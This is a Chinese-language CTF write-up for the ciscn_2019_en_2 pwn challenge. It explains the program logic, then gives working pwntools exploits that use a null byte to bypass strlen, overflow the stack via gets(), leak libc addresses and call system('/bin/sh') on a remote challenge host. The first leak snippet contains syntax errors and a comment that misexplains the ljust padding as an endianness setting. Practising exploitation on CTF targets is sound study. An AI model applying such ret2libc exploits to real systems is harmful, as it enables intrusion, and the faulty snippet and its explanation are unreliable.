程序分析
main
__isoc99_scanf("%d", &v4);
- 从标准输入读取一个整数并存储到变量v4中。getchar();
- 读取并丢弃标准输入中的一个字符。
程序的逻辑大致如下:
-
打印欢迎信息,并调用函数begin()。
-
进入一个无限循环,循环内部有一个读取输入的循环,如果读取到的整数为2,重新调用函数begin()。
-
如果读取到的整数为3,打印"Bye!"并退出程序。
-
如果读取到的整数不是1或2或3,则打印"Something Wrong!"并退出程序。
-
如果读取到的整数为1,则调用函数encrypt(),然后再次调用函数begin()。
下面看一下encrypt函数
- 因此,只有输入1有用,encrypt较为重要
encrypt
-
程序通过一个变量
x
来控制当前遍历到字符串s
的哪个位置,每次循环先将x
强制转换为无符号整型,赋值给变量v0
。然后判断v0
是否大于或等于s
的长度strlen(s)
-
v0
的值(即遍历加密前的明文字符串s
的索引)大于等于s
字符串(用户输入的0)的长度(即已经遍历完了整个字符串),则退出循环 -
strlen(s)
是一个字符串函数,用于计算一个字符串的长度。如果v0
已经等于或大于s
字符串的长度,说明已经对整个字符串进行了加密操作,循环可以结束了
解题思路
-
get()存在栈溢出漏洞
-
用\x00绕过strlen(),形成栈溢出
-
泄露puts()地址,打常规ret2libc
利用栈溢出泄露puts地址
from pwn import*
r = process()
lib = ELF()
elf = ELF()
puts_plt = elf.plt['puts']
puts_got = elf.got["puts"]
rdi_addr = 0x400c83
main_addr = elf.symbols["main"]
ret = 0x4006b9
payload = b'\x00' + b'M'(0x50+8-1) + p64(rdi_addr) + p64(puts_got) +p64(puts_plt) + p64(main_addr)
r.recv()
r.sendline(b"1")
r.recv()
r.sendline(payload)
r.recvline()
r.recvline()
puts_addr = u64(r,recv(6).ljust(8),b'\x00'))
//从远程连接(通过 r 变量)接收6字节的数据,并将其填充为8字节(使用 ljust(8) 方法),然后将这个8字节的数据转换成一个64位的整数(使用 u64 函数),并将结果存储在 puts_addr 变量中。在将8字节数据转换成64位整数时,使用了一个参数 b'\x00',该参数指示转换是以小端字节序进行的。因此,如果远程连接发送的6个字节的数据不足8个字节,那么该代码将使用 \x00 字节填充剩余的2个字节。
print("puts_addr:" + hex(puts_addr))
完整exp
from pwn import*
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug')
p=remote('node4.buuoj.cn',26265)
elf=ELF('/home/kongxiangheng/pwnttt/ciscn_2019_en_2' )
rdi_addr=0x400c83
//400c83 : pop rdi ; ret
ret_addr=0x4006b9
//4006b9 : ret
puts_plt=elf.sym["puts"]
__libc_start_main=elf.got["__libc_start_main"]
main_addr=elf.sym['main']
p.recv()
p.sendline(b'1')
//输入1有效,得以继续
payload1=b'\0'+b'A'*0x57+p64(rdi_addr)+p64(__libc_start_main)+p64(puts_plt)+p64(main_addr)
//用x00绕过strlen(s),形成栈溢出
p.recvuntil(b'Input your Plaintext to be encrypted\n')
p.sendline(payload1)
p.recvline()
p.recvline()
__main_addr=u64(p.recvuntil(b'\n')[:-1].ljust(8,b'\0'))
libc=LibcSearcher("__libc_start_main",__main_addr)
base=__main_addr-libc.dump('__libc_start_main')
system_addr=base+libc.dump('system')
binsh_addr=base+libc.dump('str_bin_sh')
p.recv()
p.sendline(b'1')
payload2=b'\0'+b'A'*0x57+p64(ret_addr)+p64(rdi_addr)+p64(binsh_addr)+p64(system_addr)
//调用函数时第一个参数通常会被放到 rdi 寄存器中
//在调用 system 函数之前,先将 /bin/sh 字符串的地址放到 rdi 寄存器中,作为 system 函数的参数。这样 system("/bin/sh") 函数就会被执行,从而得到一个 shell
p.recvuntil(b'encrypted\n')
p.sendline(payload2)
p.interactive()